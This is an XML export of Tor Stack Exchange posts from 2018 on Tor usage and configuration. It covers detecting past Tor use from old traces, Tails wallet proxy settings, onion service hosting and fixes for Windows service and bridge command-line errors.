  <row Id="16830" PostTypeId="1" CreationDate="2018-03-09T15:20:27.843" Score="0" ViewCount="350" Body="&lt;p&gt;As part of some computer forensics work, I have been asked to look at network traces (showing IP addresses and port numbers) from several years ago, to see if someone was using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have heard that I can use services like CollecTor and Onionoo to check if a certain IP address is currently an entry node and/or an exit node, but that does not help if those nodes are no longer in use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From reading Tor documentation, it sounds like Tor nodes often use ports 80 and 443 in order to pass through firewalls, but seeing those as destination ports does not tell me if the user is trying to connect to Tor or just connecting to a Web server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How about looking for ports 80 or 443 as source ports? The OS would never hand out a port number that low unless the program asked for it specifically, right? And ordinarily only the Web server program would ask for 80 or 443, and then only as a potential well-known destination port for someone else to use, not as a source port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or am I going about this all wrong?&lt;/p&gt;&#xA;" OwnerUserId="21309" LastActivityDate="2018-03-10T22:14:37.023" Title="How to Detect Tor Usage From Old Network Traces?" Tags="|exit-relays|guard-node|information-leaks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16831" PostTypeId="2" ParentId="16829" CreationDate="2018-03-09T18:02:38.273" Score="1" Body="&lt;p&gt;When a good website blocks Tor, I try to fix it using a &quot;web proxy&quot;, like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://whoer.net/webproxy&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://whoer.net/webproxy&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.kproxy.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.kproxy.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://proxy.toolur.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://proxy.toolur.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://hidester.com/proxy/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://hidester.com/proxy/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It works if the website doesn't block all proxies, only Tor. Some websites also blocks &quot;web proxies&quot;, and I haven't found a solution for these ones yet (you can try to solve this by searching for a new &quot;web proxy&quot; service in &lt;a href=&quot;https://3g2upl4pq6kufc4m.onion/&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;DuckDuckGo Search Engine (onion)&quot;&gt;DuckDuckGo&lt;/a&gt; that doesn't exists in website's firewall yet).&lt;/p&gt;&#xA;" OwnerUserId="21310" LastActivityDate="2018-03-09T18:02:38.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16833" PostTypeId="2" ParentId="16830" CreationDate="2018-03-09T23:14:44.647" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Or am I going about this all wrong?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source or destination port will not tell you anything about what the user was using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd want to check the IP and port compared against an archive of the Tor consensus at that time, to see if any of them match known ORPorts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the user may have been using bridges, in which case you will not be able to tell from just an IP and port used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can retrieve the IPs and Ports for relays in historic consensus from &lt;a href=&quot;https://collector.torproject.org/archive/relay-descriptors/microdescs/&quot; rel=&quot;nofollow noreferrer&quot;&gt;the Collector Microdesc Archive&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2018-03-10T22:14:37.023" LastActivityDate="2018-03-10T22:14:37.023" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16837" PostTypeId="2" ParentId="16476" CreationDate="2018-03-10T15:47:26.117" Score="0" Body="&lt;p&gt;You can run most of the bitcoin based crypto coin wallets in tails linux without modifying iptables at all, if you specify your socks5 proxy to connect to. Here dash wallet as example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;./dash-qt --proxy=127.0.0.1:9050&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should work with most of the typical c++ qt-wallets.&#xA;In case you want to run a wallet daemon, you could use the same proxy setting, but for wallet-cli connections to it, you would then need to adjust iptables for your wallet rpc port:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sudo iptables -I OUTPUT 3 -d 127.0.0.1 -o lo -p tcp --dport 9998 --syn -m owner --uid-owner amnesia -j ACCEPT&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The example above makes port 9998 (dash wallet rpc port) accessible - adjust the port for other wallets accordingly.&lt;/p&gt;&#xA;" OwnerUserId="21318" LastActivityDate="2018-03-10T15:47:26.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16840" PostTypeId="2" ParentId="16830" CreationDate="2018-03-10T20:54:47.073" Score="1" Body="&lt;p&gt;When &lt;a href=&quot;https://exonerator.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://exonerator.torproject.org/&lt;/a&gt; is working, it will tell you whether an IP address was a relay for a given date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides that, you can find old consensuses and search yourself &lt;a href=&quot;https://metrics.torproject.org/collector/archive/relay-descriptors/server-descriptors/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://metrics.torproject.org/collector/archive/relay-descriptors/server-descriptors/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-03-10T20:54:47.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16842" PostTypeId="1" CreationDate="2018-03-11T02:59:41.713" Score="1" ViewCount="165" Body="&lt;p&gt;Probably a complete noobie question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running TOR browser 7.5.  The browsers states &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Congratulations. This browser is configured to use Tor. Your IP&#xA;  address appears to be: xx.xx.43.164&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But when I go to IP4.ME it states&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You are connecting with an IPv4 Address of: yy.yy.78.21&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why the difference?&lt;/p&gt;&#xA;" OwnerUserId="21323" LastEditorUserId="88" LastEditDate="2019-05-05T17:59:04.230" LastActivityDate="2019-05-05T17:59:04.230" Title="IP4.ME and Tor report different IP addresses" Tags="|anonymity|exit-relays|ip-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16844" PostTypeId="2" ParentId="16752" CreationDate="2018-03-11T07:24:04.857" Score="-1" Body="&lt;p&gt;Tor is for the most part a Remotely operated Network........using hosting services which essentially grant all governments backdoors.  They carried out hundreds of Raids early on in Tor's life to kill it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However you can choose a hosting service either within the spehere of Russia or within the spehere of Nato.  Sweden and Switerland are so called Neutrals, but hosting services are more expensive.  Nato hosting comes cheap, Russian hosting comes hard to figure out.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First find out which country you would like to remotely host your Tor Exit Node.  Then search for hosting services within that Nation.&lt;/p&gt;&#xA;" OwnerUserId="21325" LastActivityDate="2018-03-11T07:24:04.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16845" PostTypeId="2" ParentId="16842" CreationDate="2018-03-11T08:59:41.593" Score="1" Body="&lt;p&gt;Tor Browser uses a different circuit for each domain (essentially &quot;website&quot;) you visit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you read somewhere that &quot;Tor (Browser) uses a new circuit every 10 minutes&quot;, that is a statement so oversimplified that it is incorrect.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-03-11T08:59:41.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16846" PostTypeId="2" ParentId="16255" CreationDate="2018-03-11T09:02:32.100" Score="1" Body="&lt;p&gt;&lt;strong&gt;Disclaimer&lt;/strong&gt;: disabling images &lt;strong&gt;will degrade your anonymity set&lt;/strong&gt;, possibly making you &lt;strong&gt;unique&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Disable images on a per-site basis&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Right click somewhere on the page and click on &lt;kbd&gt;view page info&lt;/kbd&gt;. Then switch to &lt;kbd&gt;permissions&lt;/kbd&gt;, under the images section: uncheck the default and select block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, unlike the global option below you cannot opt to only allow same-origin only images.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Disable images globally (load all images, no images, load same-origin only)&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;about:config&lt;/code&gt; search for &lt;code&gt;permissions.default.image&lt;/code&gt; and set it to 1, 2, or 3.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Load all images. (Default)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Load no images.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Load all but third party images.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21326" LastActivityDate="2018-03-11T09:02:32.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16847" PostTypeId="2" ParentId="16646" CreationDate="2018-03-11T09:28:22.280" Score="1" Body="&lt;p&gt;Extending after &lt;a href=&quot;https://tor.stackexchange.com/a/16647/21326&quot;&gt;cacahuatl&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Torsocks and SOCKS5 integration can both have issues. Setting up a &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&quot; rel=&quot;nofollow noreferrer&quot;&gt;transparent proxy&lt;/a&gt; instead ensures that (1) torsocks isn't evaded by accidentally unsetting the LD_PRELOAD and (2) does not rely on the software knowing about and correctly using SOCKS5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without &lt;code&gt;libtorsocks.so&lt;/code&gt; restricting the syscalls and networking your software is less likely to trip on the transproxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually the transparent proxy configuration is to forward all TCP traffic from all users (excluding the dedicated tor daemon itself) and drop all UDP traffic, except for DNS which is resolved via tor. You may configure this such that only a special user's traffic traverses tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'd like to take this the next step further, you may move the tor gateway from your computer to the router such that a local compromise does not reveal your IP. However a local compromise may reveal mac addresses and serial numbers which can be traced. Tails, Whonix and QubesOS each take their own attempt to mitigate the risks without hardware isolation.&lt;/p&gt;&#xA;" OwnerUserId="21326" LastActivityDate="2018-03-11T09:28:22.280" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="16848" PostTypeId="2" ParentId="16680" CreationDate="2018-03-11T09:54:51.473" Score="0" Body="&lt;p&gt;If your server is not anonymous, then you may opt to reduce the number of server-side hops from 3 to 1. This reduces your load on the network without reducing the user's anonymity while benefiting from the E2E properties of using onion services. As a bonus of throwing away the server-side anonymity you may run a relay without worrying about the IP-leakage when running onion services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While neither you, nor your users abuse your service to break laws, this is legitimate usage of tor. You increase the anonymity set at a slight cost of additional load on the tor network. Host a relay if you're feeling guilty (or just because you can).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP will increase your attack surface from straight HTML, but in either case you should consider &lt;em&gt;any&lt;/em&gt; public server easy to compromise and plan for the failure cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do not use third party services to generate private keys. Targeting the prefix will not improve usability much, if at all. Users tend to bookmark .onion addresses. You might be able to remember the old 16-byte addresses but you cannot (or at least probably wont) memorize the new 56-byte addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can provide better uptime than free hosting services, you're running this from your home network? This may open your network up to remote attackers, be wary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using onion services (especially the new 56-byte addresses using blinded ed25519 identities as the domain instead of just the hash of the public key) protects your service from automated service discovery. I.e. Your site will not be found by bots that scan the whole IPv4 space on ports 80,443. Your only attackers will be people (or bots) who have discovered your .onion address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you limit your users to .onion exclusively, then yes users without tor cannot consume your site (I'm ignoring trusted third party services like onion.to). Many sites that exist as onion services also exist as traditional services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a list of onion services for *.torproject.org see &lt;a href=&quot;https://onion.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://onion.torproject.org&lt;/a&gt;. Or &lt;a href=&quot;https://facebook.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://facebook.com&lt;/a&gt; vs &lt;a href=&quot;https://facebookcorewwwi.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://facebookcorewwwi.onion&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="21326" LastActivityDate="2018-03-11T09:54:51.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16850" PostTypeId="1" AcceptedAnswerId="16852" CreationDate="2018-03-11T17:38:37.010" Score="0" ViewCount="378" Body="&lt;p&gt;I recently made a private Tor network using virtual machines (with &lt;a href=&quot;https://web.archive.org/web/20180711234037/https://fengy.me/prog/2015/01/09/private-tor-network/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt;). The network is composed of three nodes: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;goupix&lt;/strong&gt; with the ip address 172.26.145.&lt;strong&gt;31&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;grodoudou&lt;/strong&gt; with the ip address 172.26.145.&lt;strong&gt;32&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;grolem&lt;/strong&gt; with the ip address 172.26.145.&lt;strong&gt;33&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Moreover, &lt;strong&gt;grolem&lt;/strong&gt; runs a directory server too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, I have unexpected and yet unexplained opened socket on my VM's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The nodes seem to communicate with each other, as shown by the following screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Kd6R2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kd6R2.png&quot; alt=&quot;Opened sockets on my machines&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why 172.26.145.31 communicate with 172.26.145.32 ? I don't have any client requesting the building of a circuit, and yet two nodes communicate with each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can see another screenshot of a tcpdump on goupix ( 172.26.145.31 ) communicating with grodoudou ( 172.26.145.32 ) :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/poh6z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/poh6z.png&quot; alt=&quot;Tcpdump on goupix&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The length seems to be the size of Tor cells if you remove the headers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, why there is a UDP socket &quot;listening&quot; on my machines, doesn't Tor communicate only via TCP? I didn't find any information on this.&lt;/p&gt;&#xA;" OwnerUserId="21333" LastEditorUserId="14997" LastEditDate="2019-05-06T11:44:58.363" LastActivityDate="2019-05-06T11:44:58.363" Title="Private Tor network, socket explanation" Tags="|relays|private|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="16852" PostTypeId="2" ParentId="16850" CreationDate="2018-03-11T22:08:40.230" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, why there is a UDP socket &quot;listening&quot; on my machines&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think it's DNS (you can add DNSPort 5353 option in torrc and you will see).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The problem is, i have unexpected and yet unexplained opened socket on my VM's.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Look at your torrc for the following option &quot;ORPort&quot;. It's external port for incoming tor connections. (in your torrc it uses 5000 port if you copy and paste torrc from guide, ofc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor manual: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Advertise this port to listen for connections from Tor clients and&#xA;  servers. This option is required to be a Tor server. Set it to &quot;auto&quot;&#xA;  to have Tor pick a port for you. Set it to 0 to not run an ORPort at&#xA;  all. This option can occur more than once. (Default: 0)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="21252" LastEditorUserId="21252" LastEditDate="2018-03-11T22:27:23.573" LastActivityDate="2018-03-11T22:27:23.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16854" PostTypeId="1" CreationDate="2018-03-12T07:22:32.597" Score="0" ViewCount="765" Body="&lt;p&gt;Would using a VPN along with Tor improve privacy or security? I have read conflicting views, and I was curious what Tor's stance was on the subject. If using a VPN with Tor, would there be a specific set-up? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, lets say I have two browsers up simultaneously (Firefox and Tor). Could I have the VPN running to cover browsing on Firefox while I have the Tor Browser open in another window? Would this setup decrease privacy in one or the other?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new to Tor but have been using a VPN for a while. Thank you to anyone willing to share!&lt;/p&gt;&#xA;" OwnerUserId="21336" LastEditorUserId="21336" LastEditDate="2018-03-12T07:41:19.260" LastActivityDate="2019-09-10T10:02:25.327" Title="Is it recommended that we use a VPN along with Tor?" Tags="|vpn|" AnswerCount="3" CommentCount="1" ClosedDate="2019-10-13T16:02:08.727" ContentLicense="CC BY-SA 3.0" />
  <row Id="16857" PostTypeId="2" ParentId="16807" CreationDate="2018-03-12T22:30:56.270" Score="1" Body="&lt;p&gt;Tor Metrics uses a backend server to collect the data from different sources. From time to time this server becomes unreachable, crashes etc. So it doesn't collect data for a short amount of time. You can see the result of it in the diagramm above. Usually it is nothing to worry about. Also the bridges are online the whole time. So if you are a bridge user, you can use it like any other day.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2018-03-12T22:30:56.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16860" PostTypeId="1" CreationDate="2018-03-13T16:00:27.130" Score="5" ViewCount="16944" Body="&lt;p&gt;What i have done:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Downloaded the tor expert bundle zip file  &lt;/li&gt;&#xA;&lt;li&gt;extracted the zip file to&lt;code&gt;C:\tor\&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add the &lt;code&gt;C:\tor\Tor&lt;/code&gt; to the &lt;code&gt;Path&lt;/code&gt; system environment variable&lt;/li&gt;&#xA;&lt;li&gt;Added &lt;code&gt;C:\tor\Tor\tor.exe&lt;/code&gt; to the &lt;code&gt;LOCAL SERVICE&lt;/code&gt; group with the &lt;code&gt;Full Control&lt;/code&gt; privileges&lt;/li&gt;&#xA;&lt;li&gt;Add &lt;code&gt;C:\tor\&lt;/code&gt; directroy to the &lt;code&gt;SERVICE&lt;/code&gt; group with the &lt;code&gt;Full Control&lt;/code&gt; privileges&lt;/li&gt;&#xA;&lt;li&gt;Created the &lt;code&gt;torrc&lt;/code&gt; file in &lt;code&gt;C:\tor\Data\Tor\torrc&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Created the &lt;code&gt;C:\tor\Data\DataDir&lt;/code&gt; directory&lt;/li&gt;&#xA;&lt;li&gt;Used &lt;code&gt;tor --service install -options -f C:\tor\Data\Tor\torrc&lt;/code&gt; to make tor service&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The contents of the &lt;code&gt;torrc&lt;/code&gt; file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DataDirectory C:\tor\Data\DatadDir&#xA;ControlPort 9051&#xA;HashedControlPassword 16:09...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What i get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PS C:\Windows\system32&amp;gt; tor --service install -options -f C:\tor\Data\Tor\torrc&#xA;Running on a Post-Win2K OS, so we'll assume that the LocalService account exists.&#xA;Done with CreateService.&#xA;Service installed successfully&#xA;Service failed to start : An exception occurred in the service when handling the control request.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what i get when trying to manually start the service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sRJOI.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sRJOI.png&quot; alt=&quot;error_1064&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the &lt;code&gt;tor-win32&lt;/code&gt; zip file from &lt;a href=&quot;https://dist.torproject.org/torbrowser/7.5.1/&quot; rel=&quot;noreferrer&quot;&gt;https://dist.torproject.org/torbrowser/7.5.1/&lt;/a&gt; and the same error displayed again. Anyway when i run the command &lt;code&gt;tor --service install&lt;/code&gt; the service is installed and started successfully. So i guess there is a problem with the &lt;code&gt;torrc&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="21351" LastEditorUserId="21351" LastEditDate="2018-03-13T17:29:41.163" LastActivityDate="2022-01-14T09:02:25.223" Title="Error 1064 When trying to start tor service on windows 10" Tags="|windows|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16864" PostTypeId="2" ParentId="16211" CreationDate="2018-03-14T18:36:52.527" Score="1" Body="&lt;p&gt;I don't know for sure, but Youtube is probably blacklisting all TOR exit nodes (which in general are known publicly), for the purpose of geolocked content, since it knows that your location is unknown.&lt;/p&gt;&#xA;" OwnerUserId="21362" LastEditorUserId="21362" LastEditDate="2018-03-15T08:53:33.157" LastActivityDate="2018-03-15T08:53:33.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16868" PostTypeId="2" ParentId="13739" CreationDate="2018-03-15T18:41:33.487" Score="0" Body="&lt;p&gt;Although the procedure you have followed is exact, the Google Analytics might be using an exit node tracking mechanism, most of which are publicly available &lt;a href=&quot;https://www.dan.me.uk/torlist/&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;here.&quot;&gt;here.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On encountering such IP nodes, Google Analytics is pointing back to its default location, US, as the source IP is unknown, thanks to Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should actually use a VPN(s) for an exact analysis.&lt;/p&gt;&#xA;" OwnerUserId="21370" LastActivityDate="2018-03-15T18:41:33.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16872" PostTypeId="1" CreationDate="2018-03-16T19:52:24.783" Score="0" ViewCount="747" Body="&lt;p&gt;When I try to connect to Tor through command line (Windows 10):&#xA;&lt;br&gt;&#xA;&lt;code&gt;&quot;C:\Tor Browser\Browser\TorBrowser\Tor\tor.exe&quot; -f &quot;C:\Tor Browser\Browser\TorBrowser\Data\Tor\torrc&quot; | more&lt;/code&gt;&#xA;&lt;br&gt; I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Mar 11 14:10:01.000 [notice] Bootstrapped 80%: Connecting to the Tor network&#xA;Mar 11 14:10:02.000 [warn] Problem bootstrapping. Stuck at 80%: Connecting to the Tor network. (Network is unreachable [WSAENETUNREACH ]; NOROUTE; count 1; recommendation warn; host A1A1234A123AB12345A1234A1A1234A123456789 at 0.0.2.0:2)&#xA;Mar 11 14:10:03.000 [warn] Problem bootstrapping. Stuck at 80%: Connecting to the Tor network. (Network is unreachable [WSAENETUNREACH ]; NOROUTE; count 2; recommendation warn; host A1A1234A123AB12345A1234A1A1234A123456789 at 0.0.2.0:2)&#xA;Mar 11 14:10:03.000 [warn] 1 connections have failed:&#xA;Mar 11 14:10:03.000 [warn]  1 connections died in state connect()ing with SSL state (No SSL object)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tor &lt;strong&gt;works normally when&lt;/strong&gt; I use the Tor Browser (not the command line) with no problem using the same Bridge provided within the &lt;em&gt;torcc&lt;/em&gt; configuration file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure that bridges are working (not blocked) because when I run Tor Browser, connection is established with no problems. I believe something is missing in order to make the command line work successfuly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;&lt;br&gt;&#xA;▪ Only it gives me errors when I use Tor over the command line, while it's working succesfully with no problems on the Tor Browser.&lt;br&gt;&#xA;▪ I have tried switching bridges (All of them work normally when I use the Tor Browser, but don't work while using command line). So, switching Bridges isn't a solution, there is something missing with the command line usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Further Notes:&lt;/strong&gt;&lt;br&gt;&#xA;I am aware of other questions, asking about the similar error message, that this one may be marked as a duplicate of:&lt;br&gt;&#xA;• &lt;a href=&quot;https://tor.stackexchange.com/questions/4727/cant-connect-tor-network-failed-to-establish-network&quot;&gt;Can't connect Tor Network, failed to establish network&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is different as it's about not being able to use Tor through command-line with bridges I'm sure they are not blocked (because they are working on Tor Browser within the same computer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for using Tor (with Bridge) over the command line (without the need to start Tor Browser) and make connection established successfully through command line.&lt;/p&gt;&#xA;" OwnerUserId="21366" LastEditorUserId="21366" LastEditDate="2018-03-16T22:24:14.673" LastActivityDate="2020-04-05T13:01:30.150" Title="Tor (with bridges) keeps giving &quot;connections have failed&quot; in command line (while working ok through Tor Browser)?" Tags="|tor-browser-bundle|configuration|bridge|pluggable-transports|connection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16873" PostTypeId="2" ParentId="16872" CreationDate="2018-03-16T23:27:37.260" Score="1" Body="&lt;p&gt;The problem is due to missing Pluggable-Transports configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Pluggable-Transports configuration exists within the &lt;code&gt;torrc-defaults&lt;/code&gt; file.&lt;br&gt;&#xA;You can include it using &lt;code&gt;--defaults-torrc&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;C:\Tor Browser\Browser\TorBrowser\Tor\tor.exe&quot; --defaults-torrc &quot;C:\Tor Browser\Browser\TorBrowser\Data\Tor\torrc-defaults&quot; -f &quot;C:\Tor Browser\Browser\TorBrowser\Data\Tor\torrc&quot; | more&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also you need to make sure that the &lt;em&gt;Working Directory&lt;/em&gt; of CMD is set to be &lt;code&gt;C:\Tor Browser\Browser\&lt;/code&gt; because the paths referred within &lt;code&gt;torrc-defaults&lt;/code&gt; file defines paths relatively as you are in the mother folder &lt;code&gt;TorBrowser&lt;/code&gt; folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the command line sequence that should make it work successfuly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd &quot;C:\Tor Browser\Browser\&quot;&#xA;&quot;C:\Tor Browser\Browser\TorBrowser\Tor\tor.exe&quot; -f &quot;C:\Tor Browser\Browser\TorBrowser\Data\Tor\torrc&quot; | more&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: you don't need to include &lt;code&gt;--defaults-torrc&lt;/code&gt; as you are in the correct working directory the configuration file considers.&lt;/p&gt;&#xA;" OwnerUserId="21366" LastEditorUserId="21366" LastEditDate="2018-03-17T01:40:26.227" LastActivityDate="2018-03-17T01:40:26.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
